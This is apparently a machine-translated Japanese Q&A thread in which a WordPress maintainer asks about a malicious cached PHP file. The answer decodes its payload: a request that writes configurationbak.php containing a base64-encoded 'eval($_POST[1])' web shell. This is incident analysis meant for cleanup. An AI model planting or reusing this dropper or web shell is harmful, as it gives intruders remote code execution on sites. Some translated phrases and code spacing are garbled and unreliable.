web-dev-qa-db-ja.com

誰かがこの悪意のあるスクリプトコードの解読を手伝ってくれませんか

2か月前、私たちのWordpressサイトが次々と出没していました。これは私がこの会社で働き始めたのと同じです。私たちのメインプラットフォームはPloneですが、 Wordpress=を使用して過去にプロジェクトを飛ばします。これらのサイトは無視され、メンテナンスの負担は私にかかりました-私は気にしていませんが、それはエントリーポジションであり、日常的に多くを学びます。私はWordFenceを使用してサイトをスキャンし、いくつかのクリーンアップスクリプトを作成し、すべてのパスワードを変更し、強制管理ユーザーを削除しました(ええ、それはそれで終わりです)、DBを精査し、アップロードディレクトリのセキュリティを強化しました...悪意のあるコンテンツ(厄介な大きな赤い警告)。完全にクリーンアップした後、再スキャンのリクエストを送信し、警告フラグが削除されました。侵入元は偽のプラグイン(だれが、またはなぜインストールしたのかわからない)で、削除されたことを示す針残りの感染したコードで。

それ以来、ビジネスはWordpressで許可されます。通常、ブルートフォース攻撃が数多く行われています。ドメインが「ブラックハットレジストリ」に追加されたと想像できますが、それは問題ありません。 、パスワードは非常にタイトであり、試行制限とそれに続くIP禁止を設定しているためです。

さて、今日私はWordFenceから感染したファイルについて通知を受けました。私の血圧はヘリウムで満たされた風船のように上がりました。調査の結果、1つのファイルであることがわかりました。

wp-content/cache/meta/wp-cache-d5959f8ceb4b5dc5c5a03125b3d61348.php

そして、他に何も影響を受けなかった、と思われるでしょう。しかし、私はこのファイルが何を達成しようとしていたのかを知るまでは確信が持てません。誰かが見て、おそらくこの不要なコードを誰がアップロードできるかを説明しているリソースへのリンクを提供できますか?私は再び偽のプラグインを扱っていますか?私はすべてを掃除し、バックドアを封印しました:(

http://Pastebin.com/iv45rV9J

ドメインをwww.somedomain.comに変更しました。

長い紹介で申し訳ありませんが、私の立場を明確にし、他の動機についての仮定を却下したかっただけです。背景情報なしで他の誰かが同様の質問をするのはそのためです。

3
kamenjan

そこに悪意のあるWebコンテンツがあるようです。 cookies and PHP について学ぶのに少し時間をかけると便利かもしれません。これは手動でエンコードされたCookieであり、他の2つのサーバー側コードを参照します(おそらくPHP code):

  1. 「/configurationbak.php」
  2. 「/」

おそらく、2番目のファイルはindex.phpになります。これら2つのファイルで悪意のあるコンテンツをチェックします。特に、このCookieは、URLを使用してこれらの2つのPHPスクリプトおよびデータを渡すためのGETメソッドに変数を渡します。 RL Decoder のようなツールを使用してGET文字列をデコードすると、 =、次のようになります。

"uri": "www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '-> |'; file_put_contents($ _ SERVER [ 'DOCUMENT_ROOT']。 '/ configurationbak.php'、base64_decode( 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 +')); echo '| <-'; "、" blog_id ":1、" post ":7、" key ":" www.somedomain。 com80 /?1 = @ ini_set( "display_errors"、 "0"); @ set_time_limit(0); @ set_magic_quotes_runtime(0); echo '-> |'; file_put_contents($ _ SERVER ['DOCUMENT_ROOT']。 '/ configurationbak。 php '、base64_decode(' PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 + ')); echo' | <-'; "

ここにはさらに難読化があります。 base64_decodeを呼び出すと、文字列「PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 +」が次のように変換されます。

「<?php eval($ _ POST 1 );?>」

デコードに使用した変換ツールは Base 64 Decode です。

これは、ある種の巧妙なWordPressエクスプロイトを悪用して、ハッカーのコードを実行するようにWebページを再帰的に説得して、PHPインタプリタにアクセスできるようにします。

安全のために、このファイルを削除して、このようなエクスプロイトによって作成された余分なPHPファイル(つまり、configurationbak.php)に注意してください)。

4